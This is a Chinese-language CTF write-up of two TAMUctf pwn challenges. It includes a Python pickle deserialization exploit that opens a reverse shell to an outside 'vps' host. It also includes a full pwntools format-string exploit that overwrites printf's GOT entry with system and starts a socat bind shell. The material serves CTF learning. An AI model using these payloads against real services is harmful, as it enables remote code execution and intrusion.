本文首发于先知论坛 https://xz.aliyun.com/t/4327
pwn1-5的题目不难,之前已经有师傅发过writeup了,现在我把剩余两题pwn的writeup补充一下。
VeggieTales 题目描述:
1 2 3 4 5 6 7 It's my favorite show to watch while practicing my python skills! I've seen episode 5 at least 13 times. nc pwn.tamuctf.com 8448 Difficulty: easy-medium 2.23 1:58 pm CST: Added hint to description
题目没有给elf,根据题目描述,应该是一个python写的应用,nc过去看一下
1 2 3 4 5 Do you like VeggieTales?? 1. Add an episode to your watched list 2. Print your watch list 3. Backup your watch list 4. Load your watch list
菜单功能:
添加看过的剧集,只能输入1-47
打印已看过的剧集
备份当前清单,会返回一串base64
输入备份得到的那串base64,可恢复已看剧集清单
简单fuzz了一下,没发现什么漏洞,后来题目给出了提示I've seen episode 5 at least 13 times.
,看一下第5部ep是5. Dave and the Giant Pickle
,马上联想到是python pickle反序列化!
首先添加一部剧集,拿到一串base64进行分析,尝试直接使用pickle反序列化出现报错
1 2 3 4 Traceback (most recent call last): File "X:\tmp\pwn7.py", line 69, in <module> print(pickle.loads(base64.b64decode(s))) _pickle.UnpicklingError: invalid load key, '\xb4'.
对比了一下正常的序列化字符串,发现要先经过ROT13后再base64decode,修改一下代码再次测试。
1 2 3 4 import base64, string, pickle, codecss = "tNAqpDOLUDNNNQHhVPORLKMyVTShMPO0nTHtE2yuoaDtHTywn2kypDSuYt==" print(pickle.loads(base64.b64decode(codecs.encode(s,"rot-13" ))))
根据以上分析,我们直接写一个反弹shell的payload,然后在Load your watch list
那里进行反序列化
1 2 3 4 5 6 7 8 9 10 11 import base64, string, pickle, codecs, platformclass Exploit (object) : def __reduce__ (self) : return (platform.popen,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"vps\",20004));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" ,)) def serialize_exploit () : shellcode = pickle.dumps(Exploit()) return shellcode exp = codecs.encode(str(base64.b64encode(serialize_exploit())),"rot-13" ) print(exp)
本地监听端口,另一边输入生成的exp,成功反弹回来(你需要一个有公网ip的vps)
pwn6 题目描述:
1 2 3 4 5 6 7 Setup the VPN and use the client to connect to the server. The servers ip address on the vpn is 172.30.0.2 Difficulty: hard 2/23 10:06 am: Added server ip
题目给了一个openvpn的配置文件,以及client和server的二进制文件。
程序保护情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 [*] '/tmp/client' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/tmp/server' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled
openvpn安装使用方法:
1 2 3 sudo apt-get install -y openvpn cp pwn6.ovpn /etc/openvpn/ sudo openvpn pwn6.ovpn
尝试运行一下client,程序提供两个选项,选项0没什么用,选项1进行登陆,由于没账号密码,输入后提示账号无效,还是直接看二进制文件分析吧。
1 2 3 0. View Recent Login's With client 1. Login Enter command to send to server...
由于flag存在server端,我们最终的目标还是要pwn掉server,因此先对server进行分析。server程序功能非常多,里面有不少sql操作,一度往数据库注入方向想,后来一想这是pwn题,不要走歪了。之后在server中发现一个叫process_message
函数,看程序逻辑,应该就是处理client发送信息的函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 signed __int64 __fastcall process_message (struct server *a1, unsigned int *a2) { unsigned int v2; signed __int64 result; __int64 v4; __int64 v5; v5 = *((_QWORD *)a2 + 1 ); if ( *(_QWORD *)&a2[2 * (*(unsigned int *)(v5 + 4 ) + 4L L) + 2 ] ) { v2 = (*(__int64 (__fastcall **)(struct server *, unsigned int *))&a2[2 * (*(unsigned int *)(v5 + 4 ) + 4L L) + 2 ])( a1, a2); printf ("Result of action was %i\n" , v2, a2); result = v2; } else { printf ("Unauthorized Command for Client %i\n" , *a2, a2); printf ((const char *)(*(_QWORD *)(v4 + 8 ) + 8L L)); result = 0xFFFFFFFF LL; } return result;
这里有一个很明显的格式化字符串漏洞,不过要运行到漏洞分支,需要绕过if
的判断,目前还不清楚client发包的结构,因此转到分析client的程序,从client入手分析发包过程。定位到client登陆操作用到的函数中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 signed __int64 __fastcall send_login (int *a1) { unsigned __int8 user_len; unsigned __int8 pwd_len; char passwd[256 ]; char user[520 ]; _BYTE *send_data; puts ("Input Username for login:" ); prompt_string(user, 256 ); puts ("Input Password for login:" ); prompt_string(passwd, 256 ); send_data = malloc (0x202 uLL); user_len = strlen (user) - 1 ; pwd_len = strlen (passwd) - 1 ; user[user_len] = 0 ; passwd[pwd_len] = 0 ; *send_data = user_len; send_data[1 ] = pwd_len; memcpy (send_data + 2 , user, user_len); memcpy (&send_data[user_len + 2 ], passwd, pwd_len); send_msg(a1, 0 , send_data, user_len + pwd_len + 2 ); puts ("Message sent to server." ); read(*a1, a1 + 2 , 4u LL); sleep(2u ); if ( a1[2 ] < 0 ) return 0xFFFFFFFE LL; a1[1 ] = 1 ; return 1L L; } void __fastcall send_msg (int *a1, int a2, void *a3, unsigned int a4) { const void *src; unsigned int n; int v6; void *ptr; _DWORD *buf; signed int v9; src = a3; n = a4; v9 = a4 + 8 ; buf = malloc (a4 + 8L L); ptr = buf; *buf = n; buf[1 ] = a2; memcpy (buf + 2 , src, n); while ( v9 > 0 ) { v6 = write(*a1, buf, v9); if ( v6 < 0 ) { perror("Send" ); exit (-1 ); } buf = (_DWORD *)((char *)buf + v6); v9 -= v6; } free (ptr); }
程序读取用户名和密码后,计算用户名和密码的长度,然后申请了一块内存储存用户名和密码,以及对应的长度,再通过send_msg
进行发送到server。写个简单的代码,在send_msg
处下个断点,动态调试一下,可以看到client发送的数据包结构:
1 2 3 4 5 from pwn import *p = process(['./client' , '127.0.0.1' ]) p.sendlineafter('server...\n' ,'1' ) p.sendlineafter('login:\n' ,'1111' ) p.sendlineafter('login:\n' ,'2222' )
根据gdb调试的结果,可以推断出client的数据包结构体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 struct login_data { int user_len; int pwd_len; char user; char passwd; }; struct send_data { int32 data_len; int32 action; char login_data; }
client发包后,同理在server端process_message
处下个断点,看看server端是如何处理数据包的。
1 2 3 4 5 6 7 8 9 10 ► 0x4052b9 <handle_connections+1392> call process_message <0x404c99> rdi: 0x7fffffffe040 ◂— 0x4 rsi: 0x6d8590 ◂— 0x7 pwndbg> x/4gx 0x6d8590 0x6d8590: 0x0000000000000007 0x00000000006d6480 0x6d85a0: 0x0000000000000000 0x0000001200000000 pwndbg> x/4gx 0x00000000006d6480 0x6d6480: 0x000000000000000a 0x3232313131310404 0x6d6490: 0x0000000000003232 0x0000000000000031
可见process_message
的v5 = *((_QWORD *)a2 + 1)
就是client发的数据包。现在需要分析一下if ( *(_QWORD *)&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2] )
是干什么的?直接看一下汇编,不难发现rdx
的值为send_data->action
的值,也就是send_msg
的第二个参数。
1 2 3 4 5 6 7 8 9 10 11 12 .text:0000000000404CA9 ; 7: v5 = *((_QWORD *)a2 + 1); // send_data .text:0000000000404CA9 mov rax, [rbp+var_20] .text:0000000000404CAD mov rax, [rax+8] .text:0000000000404CB1 mov [rbp+var_8], rax .text:0000000000404CB5 ; 8: if ( *(_QWORD *)&a2[2 * (*(unsigned int *)(v5 + 4) + 4LL) + 2] ) .text:0000000000404CB5 mov rax, [rbp+var_8] .text:0000000000404CB9 mov edx, [rax+4] ;; send_data->action .text:0000000000404CBC mov rax, [rbp+var_20] .text:0000000000404CC0 mov edx, edx .text:0000000000404CC2 add rdx, 4 .text:0000000000404CC6 mov rax, [rax+rdx*8+8] .text:0000000000404CCB test rax, rax
同时检查一下a2
中存放了什么数据,根据调试的结果,可以推测send_msg
的第二个参数用于选择对应的功能模块,而action=0
就是login的操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pwndbg> x/32gx 0x6d85900x6d8590: 0x0000000000000007 0x00000000006d6480 0x6d85a0: 0x0000000000000000 0x0000001200000000 0x6d85b0: 0x0000000000000012 0x0000000000405445 0x6d85c0: 0x0000000000000000 0x0000000000405c96 0x6d85d0: 0x0000000000000000 0x0000000000000000 0x6d85e0: 0x0000000000000000 0x0000000000000000 0x6d85f0: 0x0000000000000000 0x0000000000000000 0x6d8600: 0x0000000000000000 0x0000000000000000 0x6d8610: 0x0000000000000000 0x0000000000000000 pwndbg> x 0x00000000004054450x405445 <login>: 0x70ec8348e5894855 pwndbg> x 0x0000000000405c960x405c96 <create_account>: 0x40ec8348e5894855
那么只要我们根据client登录数据包的结构,构造一个数据包,控制send_data
的action
参数,让[rax+rdx*8+8]
落在空白处,程序就会判断不存在该功能,并进入else
分支,到格式化字符串漏洞的地方。现在,可以不用管client了,直接构造一个action
大于2的数据包进行调试,代码修改如下:
1 2 3 4 5 6 7 from pwn import *p = remote('127.0.0.1' , 6210 ) def send_payload (action, payload) : p.send(p32(len(payload)) + p32(action) + payload) send_payload(3 ,'aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p' ) p.interactive()
发现输入的数据包存在栈中,那么利用就很简单了。接着就是常规的格式化字符串漏洞利用套路,修改printf@got.plt
为system@plt
。
尝试了各种的反弹shell姿势都无效,用curl和wget回传flag也没反应,最后用socat开了一个正向shell,成功连上~
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *context.log_level = 'DEBUG' elf = ELF('./server' ) p = remote('172.30.0.2' , 6210 ) def send_payload (action, payload) : p.send(p32(len(payload)) + p32(action) + payload) payload = '' byte = [] offset = 15 for x in range(6 ): a = elf.got['printf' ] + x b = elf.plt['system' ] >> 8 * x & 0xff byte.append((b,a)) byte.sort(key=lambda x:x[0 ],reverse=False ) count = 0 n = 0 for y in byte: tmp = y[0 ]-count if tmp < 0 : tmp += 256 if tmp == 0 : payload += '%{}$hhn' .format(offset+9 +n) else : payload += '%{}c%{}$hhn' .format(tmp,offset+9 +n) count += tmp n += 1 payload = payload.ljust(72 ,'a' ) for z in byte: payload += p64(z[1 ]) send_payload(3 ,payload) send_payload(3 ,'socat TCP-LISTEN:23333,reuseaddr,fork EXEC:"/bin/sh"\x00' ) p.close()
总结 VeggieTales是一个常规的pickle反序列化,以往CTF一般是放在web题中。pwn6的server/client题型很新颖,虽然漏洞利用不难,不过调试过程还是踩了不少坑,题目质量不错,值得学习一下。